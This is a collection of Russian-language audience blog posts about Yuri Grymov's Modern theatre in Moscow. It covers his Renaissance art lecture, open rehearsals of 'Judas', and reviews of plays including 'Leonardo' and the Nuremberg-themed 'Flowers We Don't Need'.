Лекция началась с того, что Юрий Грымов вышел на сцену с писсуаром, чем моментально привлек внимание зрителей, поднял настроение и подвел к началу лекции. "Искусство - это либо плагиат, либо революция", - цитирует Марселя Дюшана Юрий Грымов. Вот, например, самую обычную бытовую вещь - писсуар Дюшан догадался сделать предметом искусства, чем поднял его цену до 1.7 млн долларов в 1917 году. Так же он поступил с обычной дверью, и даже с Джокондой, которую изобразил с усиками и рожками, положив тем самым начало концептуальному искусству и экспериментам над "Джокондой". Честно говоря, мне и в голову не приходило, сколько историй случилось с этой картиной, и я уже не говорю об ее вариациях, а говорю об оригинале. На нее выливали краску, в нее бросали булыжник, а в 1911 году ее украли, чтобы попытаться вернуть на родину - в Италию. Но самое поразительное, что, когда в Лувре в течение двух лет висела пустая рама, на нее приходили смотреть люди, подолгу стоя и вглядываясь в пустоту. Так кто же эта "Джоконда"? Кого изобразил Леонардо да Винчи? Одновременно и прекрасная, и некрасивая, и улыбчивая, и грустная, и чистая, и порочная, - она является образом, совмещающим в себе все человеческое. В ней есть даже "спецэффект" Леонардо да Винчи, благодаря которому, переведя взгляд, можно увидеть, как "Джоконда" улыбается. Может быть именно поэтому люди видят в ней божественное, ощущают в себе дьявольское, и это заставляет их бороться с картиной!

Так, начиная с одного из самых загадочных полотен в мире, мы путешествовали по разным периодам эпохи Ренессанса, рассматривая искусство в соотношении со знаниями и с Богом, с происходящими событиями и человеческим "я". Мы углубились в исследование личностей Леонардо да Винчи и Микеланджело, их наружность и глубины их подсознаний. Кстати говоря, первый спал всего 90 минут в день согласно полифазному сну. Вот бы мне так научиться, но если даже Юрий Вячеславович пробовал и не вышло, куда уж мне. Мы говорили о стилях этих двух невероятных людей, их заказчиках, специфике их работ и об удивительных историях, связанных с ними. Знали ли вы, например, что на первой же картине-заказе от монахов Леонардо да Винчи обходится без нимбов, а перст младенца Иисуса направляет на Иоанна Крестителя? Через суд монахи добились того, чтобы картина была переписана, но только посмотрите, в ней уже словно нет жизни... Мы проанализировали фреску (или, как ее называет Юрий Грымов из-за того, что она написана маслом, - картину) "Тайная вечеря". Возможно, в ней присутствует автопортрет самого Леонардо да Винчи. А если присмотреться, создается ощущение, что люди на картине глухие, поскольку общаются жестами. А еще если проставить даты рождения сидящих на фреске людей, то вырисовывается Зодиакальный круг. А вы знали, что фреска уцелела, когда бомбой было ********* целое здание? Или то, что Леонардо да Винчи и Микеланджело Буонарроти конфликтовали между собой, ведь последний вообще был очень сложным темпераментным человеком с биполярным расстройством? Между прочим, он писал потрясающие сонеты, которые, к сожалению, не стали столь же популярны, что и сонеты Шекспира. Его божественные скульптуры "Пьета" и "Давид" равно как и творчество да Винчи подвергались нападкам вандалов. Почему скульптура Моисея увенчана дьявольскими рожками? А вы никогда не задумывались, почему на фреске "изгнание из Рая" в Сикстинской капелле Адам не тянется рукой к Богу, а Бог тянется к Адаму? Знаете ли вы, на какой картине есть портреты Микеланджело Буонарроти, Леонардо да Винчи и Рафаэля?

В этот вечер я словно вернулась одновременно и в школьные годы, когда начала изучать историю искусства, и в студенческие времена, когда Юрий Вячеславович приезжал к нам в университет проводить мастер-классы по рекламе. А еще ненадолго перенеслась в Италию, где имела счастье собственными глазами рассматривать фреску Микеланджело в Сикстинской капелле. Сложно представить, что он в одиночку расписал потолок. Кстати, и у него не обошлось без проблем с церковью, которая не оценила изображение нагих людей в чертогах храма. Хочется дословно пересказать всю лекцию, но это лишит вас особого удовольствия лично послушать лекцию Юрия Грымова с видеопризентацией и небольшими неожиданными спецэффектами, а ведь повтор состоится уже 24 октября. И все же после лекции остается главный вопрос: "Пытается ли человек достичь звезд или заключит союз со своей внутренней обезьяной?"

Открытая репетиция «Иуда».
Свершилось!!! Трилогия «Антихрист - Христос» близится к своей финальной точке!!! Да! Да! Да! Трилогия начинает свою грандиозную жизнь в репертуаре любимого театра!!! Три сильнейших спектакля!!!! «Пётр 1», «Леонардо» и «Иуда?» - движение от тьмы к свету… Именно так, в таком порядке рекомендуется просмотр спектаклей.
В прошедшие выходные,«одним глазком»)) посчастливилось заглянуть в будущую премьеру) 🙏🏼🤞🏻
Несмотря на то, что это была репетиция (ещё в работе костюмы и декорации), меня уже затянуло в эту историю….
Звучит таинственная музыка… Появляется Иисус…. Начинается чудо… только нужно многое поправить, световые акценты, порядок выноса реквизита…. То софит невпопад засветит, то слуга Понтия Пилата камень не выносит 😅 То музыка тихо, то наоборот громко. А в спектакле около 450 треков!!! Но всё поправимо! Для этого и существует репетиции! 🙌🏻Которые, к слову, по продолжительности не более одного джорнато ( giornate - время за которое высыхает фреска ~ 4,5 часа)… Работа идет колоссальная: артисты, работники сцены, режиссер - превращаются в единый механизм, который я в очередной раз сравниваю с гигантской машиной времени….
Истории более 2000 лет. Как оно было? Что мы увидим в интерпретации мастера? Он обещал, что будет суд над Иудой….
Художественный руководитель Московского драматического театра
«МОДЕРН», режиссёр театра
и кино, режиссер-постановщик спектакля «Иуда»
Юрий Грымов: «Я считаю, сегодня особенно важно говорить о Христе и антихристе, искать ответы внутри многовековой истории и, главное, - в самих себе»!

Этот театр люблю давно. Во-первых, за очень интересный репертуар, из котрого особенно нравятся спектакли "Ничего, что я Чехоff", "***** и мир", "Петр Первый, "Цветы нам не нужны".
Во-вторых, за уважение к зрителю, которое чувствуется сразу, как перешагнул порог. Здесь очень вежливый персонал, прекрасные интерьеры, много красивых вещей. По вечерам играет живая музыка. Из-за этого в Модерне чувствуешь себя, как в закрытом клубе любителей именно этого театра.
А недавно я открыла новый формат общения с театром - открытые репетиции. Была на такой репетиции спектакля "Леонардо" и премьерного спектакля "Иуда", который выходит в конце октября. "Иуда" - это заключительная часть трилогии "Антихрист и Христос". Первые две -"Петр Первый" и "Леонардо".
Спектакли из совершенно разных исторических эпох и с совершенно разными главными героями. Но их объединяет общая ивсль и общая задача - исследовать, как в одном человеке уживаются бог и дьявол и что происходит, когда одна из сил берет верх.
После репетиции с нами общался режиссер спектакля, Юрий Грымов. Человек он весьма неординарный, но его взгляд на многие вещи мне очень импонирует. Было интересно узнать его видение этого величайшего в мире предательства. Но вопросы у меня остались, поэтому обязательно пойду смотреть спектакль, он будет очень интересным.

Увидеть то, что до тебя ещё не видели, присутствовать при том, что совсем скоро, (я уверена) станет шедевром и войдёт в историю. Быть частичкой мгновения созидания. Слиться с потоком и быть его крупицей. Это все, я, о магии, о любимом театре и впервые о процессе создания спектакля. В конце октября Театр Модерн выпускает премьеру, заключительную часть трилогии "Антихрист и Христос" - "Иуда". И по доброй традиции, художественный руководитель, режиссер Юрий Грымов провел открытую репетицию постановки, пригласив на нее зрителей театра. Очень смелая и прекрасная практика, мне кажется идущая на пользу как и театру, так несомненно и зрителю.
Для меня это новое, удивительное, долгожданное событие. Конечно я понимала, что не увижу спектакль целиком, а лишь отдельные сцены. Но, в данном случае, это совершенно неважно, тут другая история. Для меня, репетиция это закрытое от чужих глаз таинство, где в ходе совместного труда режиссера, актеров, и всей команды спектакля формируется пространство со своими энергиями и настроениями, где тончайшими петлями сшиваются кружева наполняя красками и характерами холст, проявляющейся картины.
И вот в эту магию впустили наблюдателей😍
Как позже сказал Юрий Вячеславович, работа над постановкой длится уже около двух месяцев. Почти все декорации уже готовы, костюмам придаются последние штрихи, выстраивается свет, решаются организационные вопросы и оттачиваются моменты со спецэффектами. Спектакли Грымова насыщенны красотой, смотреть их настоящее эстетическое удовольствие. А за этим стоит огромный труд режиссера и постановщиков, работающих вживую и не имеющих права на ошибку.
А ещё по признанию режиссера в спектаклях используется порядка 400 музыкальных фрагментов, которые должны зазвучать с нужной громкостью и в нужный момент.
И это тоже часть магии театра, которая много веков восхищает и поражает человечество.
Ну а главные волшебники на сцене конечно актеры, именно они исследователи, открыватели и проводники. В процессе репетиции они находят и добавляют своим персонажам интонации, пробуют мизансцены, выстраивают диалоги, шлифуют характеры и взаимоотношения. Интересно, как при этом тонко направляет Юрий Вячеславович ход действия, словно лёгкими мазками соединяет и выправляет в нужное ему русло получающуюся историю.
Ведь он придумал свой спектакль задолго до, а сейчас склеивает нужные элементы в необходимом порядке, и все вокруг закручивается в феерию, что вот уже 28 октября заиграет всеми красками на сцене.
Какой будет эта история, догадаться по нескольким увиденным сценам невозможно, но то, что в рабочем процессе мы наблюдали однозначно интригует.
Иисус, Иуда, Пилат, Ирод, Каиафа, Мария Магдалина - персонажи знакомые всем практически с раннего детства, но что если посмотреть на известное с другого угла. Те несколько пройденных артистами сцен, наводят на определённые мысли, интересно, после просмотра всей постановки окажутся ли они верными.
С нетерпением жду премьеры!
И всем советую это увидеть, билетов на премьерные дни осталось совсем немного, но ещё можно успеть приобрести себе местечко в поезде времени отправляющемся в древнюю Иудею.

Вот уже в третий раз мне удалось прикоснуться к театральному таинству – побывать на открытой репетиции спектакля в театре МОДЕРН.

Восьмого октября зрители смогли наблюдать за созданием третьей части трилогии, задуманной Юрием Грымовым по романам Дмитрия Мережковского, объединенным автором в единое целое под названием «Христос и Антихрист».

Правда, Юрий Вячеславович внес радикальное изменение и назвал свою тройку спектаклей «Антихрист и Христос».

Автор пьесы «Иуда» - Александр Шишов.

Вы себе даже представить не можете, насколько это интересно – у вас на глазах рождается спектакль.

Впрочем, это не совсем так.

Спектакль рождается у Грымова в голове и ему остается только с помощью актеров «вытащить его на сцену».

На этот раз больше часа репетировали всего лишь несколько небольших сцен, в которых зрители увидели Иисуса (Богдан Щукин), Понтия Пилата (Александр Борисов) и его слугу (Диллон Олойеде), а также Исхака (Вадим Пинский), Каиафу (кто бы сомневался, что его играть будет Алексей Багдасаров), торговца Зиновия (Денис Игнатов) и его блудливую жену (Анастасия Скибунова), а также жителей древнего Иерусалима и апостолов.

В основном, режиссер искал нужный ритм для каждого персонажа и расставлял акцентные точки – и произносимый актерами текст у вас на глазах обретал нужный ему смысл. Нелегкая это работа, скажу я вам!

Декорации и костюмы к спектаклю, премьера которого назначена на 28 октября, еще не готовы и на сцене стояло всего лишь два огромных валуна. Когда один из них подняли – зрители увидели Иисуса, на роль которого Богдан Щукин внешне очень подходит (а вот сможет ли передать сущность Бога-сына, увидим на премьере).

В древний Иерусалим частенько заглядывали пророки, в том году Иисус был уже третьим или четвертым, поэтому, когда Пилат узнал о нем от Исхака, то сначала и значения сему факту не придал. Но… те сами называли себя царями, а этого – царем зовет народ!!! И дальше, когда Исхак начал зачитывать, о чем же толкует новый пророк, тот стал мрачнеть на наших глазах.

Показали кусочек сцены, где, по существующим обычаям, должны были забросать камнями блудливую жену и мы услышали из уст Иисуса одну из самых известных его реплик: «Пусть первым бросит камень тот, кто сам безгрешен».

Все сцены были показаны под скрупулезно подобранное Грымовым музыкальное сопровождение (в среднем у него это 450 треков!!!). Как он отметил, отвечая после окончания репетиции на вопросы зрителей, это будут небольшие фрагменты из записей практически неизвестных широкой публике современных групп.

В отличие от музыки, евангельские сюжеты, вроде бы, многим из нас хорошо знакомы, тем не менее, Юрий Вячеславович пообещал, что в его спектакле будет немало сюрпризов, в том числе – суд над Иудой.

Идти спектакль будет без антракта около двух часов.

«Для меня важно показать, что это БЫЛО!» - сказал зрителям Юрий Вячеславович.

Посмотрев уже дома программку будущего спектакля, узнала, что Понтиев Пилатов будет два – Юрий Анпилогов (кто бы спорил!!!) и Александр Борисов, которого мы увидели на репетиции, но судить об его игре по показанному маленькому фрагменту не берусь, тем более, что говорил он почему очень тихо и режиссер постоянно делал ему по этому поводу замечания.

А еще, Понтий Пилат в спектакле будет неразлучен со своей лошадью (Ю.В. считает, что без нее он - никто) и слуга покорно перемещает ее макет по сцене вслед за прокуратором Иудеи. А залезать на лошадь Пилат будет «с колена» - как Клим Ворошилов (если я ничего не перепутала).

Очень рада была увидеть произведшего на меня неизгладимое впечатление в спектакле «Цветы нам не нужны» Вадима Пинского – опять же не знаю, насколько велика роль Исхака и как долго в новом спектакле можно будет наслаждаться игрой этого актера.

Вопросов к режиссеру по увиденному было не так уж много, поэтому он пообщался со зрителями на совершенно разные темы, в том числе еще раз подчеркнул важность осознания такого явления, как фашизм, о котором идет речь в спектакле «Цветы нам не нужны».

Также, в очередной раз Юрий Грымов подчеркнул, что ему очень важно, чтобы в театр приходил «свой зритель» и призвал всех вступать в Клуб Модерн (https://www.modern-theatre.ru/round.html).

Кстати, члены Клуба смогут принять участие в обсуждении, которое состоится 28 октября после премьеры «Иуды».

Посмотрев первые две части трилогии («Петр I» и «Леонардо»), я уверена, что и в этот раз нас ждет грандиозная по эмоциональному воздействию на зрителя постановка и с нетерпением буду отсчитывать дни до 28 октября!!!

Пророк, иль демон, иль Кудесник,
Загадку вечную храня,
О, Леонардо, ты — предвестник
Еще неведомого дня. ( Д.Мережковский)
Наконец! Наконец-то я увидела этот шедевр. Даже не так, я полностью погрузилась в эпоху Возрождения. Прошла совместно жизненный путь творца, великого созидателя Леонардо из Винчи. Сколько творений, открытий и загадок он привнес в наш мир. Прекрасных и ужасных, но всегда невероятных. За это им восхищались и его ненавидели, превозносили и ругали, а он шел своей дорогой и делал то, что ему было интересно, ну и выполнял заказы властных правителей.
Кажется мы знаем об этом человеке все, но это только на первый взгляд.
Вся жизнь его покрыта пеленой мистерии и тайн. После себя он оставил неоценимое культурное наследие, но так же и оружие массового поражения, его творчество не может не восхищать, а был ли при этом счастлив он сам, приносила ли ему его работа удовлетворение, была ли в его жизни любовь, большой вопрос, на который вряд ли теперь найдется однозначный ответ. Мы можем только строить догадки, а в @teatr.modern, Юрий Грымов об этом и многом другом, рассуждает во второй части нашумевшей трилогии (по романам Д.Мережковского) "Антихрист и Христос" спектакле "Леонардо".
В главной роли Мастера, заслуженный артист РФ Дмитрий Бозин, поэт, режиссер, обладатель грациознейшей пластики, и многих выдающихся талантов, звезда театра Романа Виктюка. И на мой взгляд это полное попадание в личность Леонардо Да Винчи. С первого выхода молодого алхимика и до последней секунды финальной сцены, от которой замирает сердце, Дмитрий живое, неподдельное воплощение той загадки и феномена уникальнейшей личности.
Его окружали вершители судеб: Моро Герцог Милана (Юрий Анпилогов) " Я ненавижу людей- сделай так, что бы их стало меньше", просит он Леонардо, после того, как посмотрел выполненный заказ " Тайную вечере"; Савонарола, религиозный фанатик (Алексей Багдасаров) борющийся дьявольскими методами, с тем, что считает неправильным; Франциск, король Франции (Александр Колесников).
Рядом с учителем неизменно всегда были ученики и последователи ( Джованни - Богдан Щукин, Зароастр - Александр Толмачев, Чезаре - Александр Сериков), те кто боготворил, а потом предавал, уходил и высмеивал своего учителя, а кто-то оставался верен до конца и отдавал за кумира жизнь.
Леонардо всегда окружали женщины, бесчисленное количество женских портретов за свою жизнь он написал. Но в истории нет свидетельств о личных связях.
"Художник должен быть одиноким. Ибо, если ты один, ты полностью сам, но если тебя сопровождает один-единственный спутник, ты только наполовину." одно из множества известнейших изречений Леонардо да Винчи.
Он посвятил себя науке, творчеству, создатель миров , созидатель Антихрист и Христос заключённый в одной душе этого грандиозного человека.
Бозин в каждом жесте, шаге явно демонстрирует принадлежность своего персонажа к потустороннему, магическому существованию.
Совершенно божественное музыкальное сопровождение и спецэффекты стократно усиливают производимый эффект ВАУ!
Это правда очень красиво. При отсутствии сложных декораций, все внимание концентрируется на актерской самоотдаче и здесь каждый проживает своего персонажа. При огромном колличестве задействованных лиц, проходных ролей нет, за каждым отведен своей смысл, свой вклад в общую канву для рассуждения.
«Да разве тайну долго убережешь, коли мирская молва, что морская волна, все выплескивает наружу.» (Леонардо да Винчи)
Леонардо не боролся с волнами, он с удовольствием купался в них, словно в родной стихии, хоть и накрывали они его с головой, но он с достоинством шел по воде следуя своей дорогой.
А как он это делал и кем по существу был, каждый сможет решить сам, придя в театр Модерн на свою Тайную вечерю.

Открытая репетиция спектакля "Иуда". Театр Модерн

Настоящему театралу рано или поздно становится недостаточно просто смотреть спектакли, захочется узнать, что происходит по ту сторону занавеса, побывать за кулисами, поприсутствовать на репетициях. Ведь это так интересно хоть одним глазком взглянуть как создается спектакль, увидеть то, что обычно скрыто от глаз зрителей - рабочие будни театральной жизни.
И просто замечательно, что руководство некоторых театров идет навстречу пожеланиям своих верных поклонников: устраивает открытые репетиции, продает на них билеты. Таких театров немного, но как хорошо, что они есть. И среди них театр, который с каждым годом, с каждым спектаклем становится мне все более и более интересен - это театр "Модерн".
Сейчас в "Модерне" готовится к выпуску заключительная часть трилогии "Христос и Антихрист". Первые две части "Петр" и "Леонардо" я уже видела и надеюсь увидеть еще не раз, так как эти спектакли столь глубоки, что с первого взгляда просто невозможно охватить все, что в них заложено.
И вот я побывала на репетиции спектакля "Иуда". Работа над ним в самом разгаре: почти готов реквизит, но не сшиты костюмы, не до конца выставлен свет. Актеры работают на сцене в своей повседневной одежде, но это совсем не мешает восприятию и пониманию увиденных сцен.
Я всегда поражалась на сколько точно в спектаклях Юрия Грымова выверены мизансцены, как до сантиметра каждому актеру задана траектория его движения, когда луч света должен падать под определенным углом и с определенной яркостью в нужную часть сцены. Но благодаря именно таким мелочам рождаются незабываемые спектакли. И работу именно над такими, казалось бы мелочами, мы и увидели.
На репетиции режиссер отрабатывал с актерами мельчайшие нюансы интонаций, длительность пауз. Юрию Грымову важно, чтобы актер сидел именно в заданной точке сцены и ошибка на тридцать сантиметров тут же исправляется. Отрабатывается каждое движение, каждый взмах руки и поворот головы.
Происходящее на сцене поистине завораживало, комментарии режиссера раскрывали тайны грядущего спектакля.
После репетиции Юрий Грымов отпустил актеров и еще почти час беседовал со зрителями о театре и о зрителях, о спектаклях и гастролях, и даже о распространении билетов.
Буду теперь с нетерпением ждать премьеры спектакля "Иуда" и непременно его посмотрю.

Модерн – моя любовь с первого взгляда. Когда иду на спектакль, чувствую, что иду на свидание. На свидание с театром. И всегда в предвкушении чего-то впечатляющего. Знаю, что Юрий Грымов снова приготовил для нас нечто особенное.
В фойе театра, как всегда встречают красивые улыбчивые люди. Все нарядные. Шумно что-то обсуждают в ожидании прекрасного спектакля. Играет живая музыка. Атмосфера праздничная, как всегда.
В этот раз я посетила современную комедию «Масквичи». Если кратко, то спектакль о противостоянии двух менталитетов на примере одной семьи. Тема актуальна, как никогда. Каждый персонаж продуман до мелочей, а это значит, что история 100% будет интересна любому зрителю, независимо от пола и возраста. (Но помните, спектакль 18+). Чем мне нравятся постановки Юрия Грымова, так тем, что в них всегда необычные решения, не хочу спойлерить, вы сами все увидите, если посетите спектакль. Свет, декорации, музыка - великолепно! Актерская игра выше всех похвал! Аплодирую стоя. Отдельные аплодисменты Александру Борисову, прекрасный актер.
Я уже выбираю следующий спектакль... Планирую в октябре снова наведаться в гости.

«I look inside myself and see my heart is black»

«Я смотрю внутрь себя и вижу, что моё сердце чёрное».

Слова из завершающей песни спектакля «Цветы нам не нужны» Юрия Грымова, так точно подходящие теме спектакля, что ком стоит в горле.

Спектакль про людей с чёрным сердцем. Без надежды на возможность сменить оттенок. Без оправдывающего просвета в темноте. Да что уж там, без желания оправдывать….

Уже входя в зрительный ощущается напряжение. На сцене Нюрнбергский процесс. Подсудимые нервно ожидают вынесения приговора и по их поведению уже становятся понятны характеры людей. Хотя это с первого взгляда может показаться, что все они понятны, но нет, кое-кто удивит точно…

Продолжается действие в тюрьме Шпандау (построенной ещё в 1876 году и переоборудованной специально для семи военных преступников) , охватывая временной отрезок с 1946 по 1966 годы. В мире происходят масштабные изменения: меняются правители, происходит освоение космоса, ***** во Вьетнаме и Карибский кризис. Изменения происходят везде, но только не буднях и головах заключенных, их души остаются прежними.

За игрой актёров Театра «МОДЕРН» было наблюдать невероятно интересно, каждый создал свой образ на все 100%, но только им известно, как тяжело им проживать эти два часа спектакля «в теле» людей, которым невозможно импонировать, которым не сочувствуешь ни на секунду.
Ведущие актёры театра, как всегда, вне конкуренции, но как удивил Вадим Пинский, сыгравший одну из главных ролей в спектакле — Альберта Шпеера, личного архитектора Гитлера, рейхсминистра вооружения и военного производства.
Очень рада, что теперь он в труппе театра, будет интересно увидеть его и в других ролях.

Спектакль не из лёгких, но уже на выходе из зала я решила, что пересмотрю его ещё раз со старшей дочерью. Считаю, что он будет очень полезен для подростков, которые сейчас так мало знают историю, но знать должны обязательно, тем более режиссура Юрия Грымова завораживает с первой минуты и увлекает до последней.

Браво всем причастным! И спасибо Юрию Грымову за всегда интересный выбор материала для спектаклей! После просмотра всегда хочется читать и читать! А это самое главное, не правда ли?

«I look inside myself and see my heart is black»

«Я смотрю внутрь себя и вижу, что моё сердце чёрное».

Слова из завершающей песни спектакля «Цветы нам не нужны» Юрия Грымова, так точно подходящие теме спектакля, что ком стоит в горле.

Спектакль про людей с чёрным сердцем. Без надежды на возможность сменить оттенок. Без оправдывающего просвета в темноте. Да что уж там, без желания оправдывать….

Уже входя в зрительный ощущается напряжение. На сцене Нюрнбергский процесс. Подсудимые нервно ожидают вынесения приговора и по их поведению уже становятся понятны характеры людей. Хотя это с первого взгляда может показаться, что все они понятны, но нет, кое-кто удивит точно…

Продолжается действие в тюрьме Шпандау (построенной ещё в 1876 году и переоборудованной специально для семи военных преступников) , охватывая временной отрезок с 1946 по 1966 годы. В мире происходят масштабные изменения: меняются правители, происходит освоение космоса, ***** во Вьетнаме и Карибский кризис. Изменения происходят везде, но только не буднях и головах заключенных, их души остаются прежними.

За игрой актёров Театра «МОДЕРН» было наблюдать невероятно интересно, каждый создал свой образ на все 100%, но только им известно, как тяжело им проживать эти два часа спектакля «в теле» людей, которым невозможно импонировать, которым не сочувствуешь ни на секунду.
Ведущие актёры театра, как всегда, вне конкуренции, но как удивил Вадим Пинский, сыгравший одну из главных ролей в спектакле — Альберта Шпеера, личного архитектора Гитлера, рейхсминистра вооружения и военного производства.
Очень рада, что теперь он в труппе театра, будет интересно увидеть его и в других ролях.

Спектакль не из лёгких, но уже на выходе из зала я решила, что пересмотрю его ещё раз со старшей дочерью. Считаю, что он будет очень полезен для подростков, которые сейчас так мало знают историю, но знать должны обязательно, тем более режиссура Юрия Грымова завораживает с первой минуты и увлекает до последней.

Браво всем причастным! И спасибо Юрию Грымову за всегда интересный выбор материала для спектаклей! После просмотра всегда хочется читать и читать! А это самое главное, не правда ли?

1 сентября прошла ПРЕМЬЕРА спектакля "Цветы нам не нужны" в театре Модерн.

Накануне, 31 августа для прессы был специальный показ и мне посчастливилось на нем побывать.

Спектакль о событиях 1945г.-1966г.
Нам, в целом нации русских, как мне кажется, тяжело вспоминать послевоенное время.
Страна осталась в руинах, экономика *********, большая убыль населения, естественно мужчин.
Да мы победили, и да каждый год мы собираемся в "Бессмертный полк" и вспоминая своих бабушек и дедушек идём по Красной площади со слезами на глазах.
И иностранцы не понимают почему нескончаемый поток людей идёт и идёт. Ведь если вспомнить цифры, то почти 27 миллионов советских граждан погибли на фронтах, в немецком плену, умерли от голода и бомбёжек, в гетто и печах нацистских лагерей смерти. СССР потерял каждого из 7 своих граждан !!!!! Великобритания – 1 из 127, а США – 1 из 320 человек.

Но как мне кажется это ***** настолько темный период в жизни многих многих стран, что многие предпочитают просто забыть о тех страшных
временах. И смотреть только в будущее.

И как сказал Вольтер еще в начале восемнадцатого века -
​«Тот, кто не знает прошлого, не знает ни настоящего, ни будущего, ни самого себя» - мы как будто теряем себя, нашу общность.

Поэтому нужно снова и снова изучать историю, ошибки прошлого, чтобы не делать их в настоящем.

Итак о спектакле.

(Пока это было только предисловие.
Потому что после спектакля я стала жадно искать информацию, поэтому будут исторические справки! )

События начинаются с
20 ноября 1945 года, когда в немецком городе Нюрнберг стартовал судебный процесс над самыми высокопоставленными нацистами Германии, которые попали в руки союзников после Второй мировой *****. Обвинение содержало четыре пункта: преступления против мира, преступления против человечности, нарушение законов ***** (военное преступление) и заговор с целью совершения данных преступных действий
Процесс длился 315 дней.

Судили верхушку Третьего рейха 4 страны-победительницы: СССР, США, Великобритания и Франция.

(В спектакле очень здорово показаны охранники в тюрьме Шпандау от каждой из этих 4 стран. Со своими костюмами и менталитетом. Т.к по итогу Военного Трибунала осуждённых должны были сторожить по очереди одна из стран-победительниц)

В нюрнбергский список попали 24 фамилии, но на скамью подсудимых сел только 21 обвиняемый.
В итоге Военный Трибунал вынес следующие приговоры обвиняемым.

К смертной казни через повешение приговорены:
Герман Геринг, Мартин Борман, Эрнст Кальтенбруннер, Иоахим фон Риббентроп, Вильгельм Кейтель, Альфред Розенберг, Ганс Франк, Вильгельм Фрик, Юлиус Штрейхер, Фриц Заукель, Артур Зейсс-Инкварт, Альфред Йодль.

К пожизненному заключению: Рудольф Гесс, Вальтер Функ и Эрих Редер.

К 20 годам тюремного заключения: Бальдур фон Ширах и Альберт Шпеер.
К 15 годам тюремного заключения: Константин фон Нейрат.
К 10 годам тюремного заключения: Карл Дёниц.

Вот как раз о 7 немцах-нацистах которых осудили на тюремный срок и пойдет речь в спектакле.

Как каждый принимает ситуацию, кого обвиняет, и считает ли себя виновным или перекладывает вину на других.
А также показаны их отношения с женами, страхи, мечты. Актрисы-женщины-жены конечно в спектакле волшебное дополнение к главным мужским ролям.
Также очень много внутренних диалогов Шпеера с Гитлером. Это очень запоминающиеся сцены. Гитлера и пародирующего его Чарли Чаплина неотразимо сыграл Роман Зубрилин.

Есть сцены где герои ведут межличностные разборки, но все в одной лодке, вернее тюрьме!

Отсюда и название спектакля - когда Альберт Шпеер, архитектор Гитлера, спроектировал крематории Освенцима назначенный впоследствии на должность рейхсминистра вооружений и военного производства (Вадим Пинский) попросил привезти семена, чтобы разбить в тюрьме сад, а Карл Дениц, главнокомандующего военно-морским флотом нацистской Германии (Алексей Баранов) бросил фразу - "Цветы нам не нужны, они для победителей".

3 из 7 человек выйдут на свободу раньше срока, по состоянию здоровья, например Константин фон Нейрат (Леонид Трегуб), сподвижник, и критик Гитлера, превратится в развалину и уедет из тюрьмы на коляске. "Уедет умирать".
Вальтер Функ (Александр Жуков), нацистский министр экономики, истерично «выплачет» себе освобождение в связи с заболеванием диабет. Главнокомандующий военно-морским флотом, адмирал Эрих Рëдер (Александр Колесников), который просил о замене пожизненного заключения на расстрел, тоже отправится на свободу по состоянию здоровья.

Бодрый и ироничный предводитель молодёжного движения «Гитлерюгенд» Бальдур фон Ширах (Александр Борисов), отсидев законные 20 лет, разразится мемуарами под названием «Я верил Гитлеру».
Также отсидев 20 лет и выйдя из тюрьмы напишет 4 книги и Альберт Шпеер и будет в почете раздавать интервью, позиционируя себя как раскаявшегося самого честного немца. А впоследствии уже после его смерти вскроются факты его лжи.
И только самый загадочный и циничный нацист Рудольф Гесс (Юрий Анпилогов) рейхсминистр, ближайший соратник фюрера и его заместитель в НСДАП, писавший под диктовку Гитлера "Майнкампф" – умрет в возрасте 93 лет в тюрьме Пандау. Якобы это было самоубийство, он будет удушен железной проволокой.

И ведь каждый считал что он незаслуженно наказан. Что его осудили просто потому что они, немцы проиграли, вот и все. А не потому что миллионы людей погибли из за каких то их решений или страха сказать НЕТ, и вовремя остановить Гитлера. Нет, все боготворили фурера и готовы были делать все что тот скажет.
А потом отрекались от своих слов и действий и от своего любимого фурера.

Мое Заключение - Надо идти и смотреть спектакль в театре Модерн и брать с собой подростков, чтобы они наглядно видели историю и хотели в ней разобраться глубже.
🖐️🖐️🖐️🖐️🖐️🖐️🖐️🖐️🖐️

Спасибо 🙏🙏🙏

ЦВЕТЫ НАМ НЕ НУЖНЫ

"...Нет ничего страшнее фашизма" - так звучит "эпиграф" к новому спектаклю Юрия Грымова "Цветы нам не нужны" по пьесе Надежды Селивановой, в котором главными действующими лицами становятся участники Нюрнбергского процесса, процесса над нацистскими преступниками. Всего существует 50 томов судебного процесса, на русский язык по странному стечению обстоятельств и запретов переведено лишь 7. Эта история необычайно важна для мира. Это та история, которую должен знать каждый. История о преступлениях совершенных перед всем человечеством. Все то, что зритель видет в постановке Юрия Грымова - предельная правда, художественный вымысел составил лишь 10%.

Перед премьерным спектаклем в здании театра Модерн прошла пресс-конференция с участием режиссёра, драматурга и главными исполнителями мужских ролей. Актеры рассказали об отношении к своим "героям" и о сложностях, с которыми столкнулись при подготовке к роли. Самым сложным по словам практически всех - было преодолеть себя не смотря на неприязнь к своим персонажам.
"Я знаю, как сыграть злодея, мизантропа, недовольного, а как сыграть злодея с холодным носом, который прожил долгую - 94 года жизнь, и не раскаялся?" - делился исполнитель роли Рудольфа Гесса Юрий Анпилогов.

"Цветы нам не нужны" мог бы стать прологом к трилогии Юрия Грымова "Христос или Антихрист", но... в нацизме нет Христа. Совсем!

Действие спектакля начинается в зале суда и продолжается в тюрьме Шпандау, ********** временной отрезок с 1946 по 1966 годы. Мы видим будни осужденных на фоне мировых событий, проходящих где-то там, за пределами тюремных стен. В мире происходят изменения: меняются правители, в космос летят космические корабли, но души арестантов остаются прежними, хоть и пытаются ввести нас в заблуждение ложным раскаянием.
И иногда им это почти удаётся, мы смотрим на героев и их становится немного жаль, но все это ложь. Их истинные лица откроются перед зрителем в финале спектакля.

"Цветы нам не нужны" как и многие спектакли Юрия Грымова практически лишен цвета и декораций, что вполне оправдано его местом действия. Все внимание оттягивают на себя актеры и свет, играющий свое представление. Здесь нужно не просто смотреть, но и слушать. Диалоги, драматические и глубокие, - сердце спектакля, и как всегда - великолепное музыкальное оформление, переносящее нас на 70 лет назад.

Спектакль правдивый и тяжелый. Но его нужно смотреть. Идти самим, с родителями и детьми-подростками. Идти, чтобы чтить и помнить свою историю, что бы в мире не повторились ошибки прошлого, идти и смотреть, ведь как говорит Юрий Грымов "... Нет ничего страшнее фашизма!".

Еще весной я сходила на открытую репетицию в театр Модерн Театр “МОДЕРН” . на “Цветы нам не нужны” и начала ждать эту премьеру. И не зря. 30 августа это случилось, а впечатления и мысли все это время варились, всплывая воспоминаниями и новыми смыслами. И нет, я не получила удовольствие от увиденного. Я получила гораздо более важный и ценный опыт. Было круто. Хотелось бы избежать штамп про “непростую тему” спектакля.. но, скорее всего не получится.

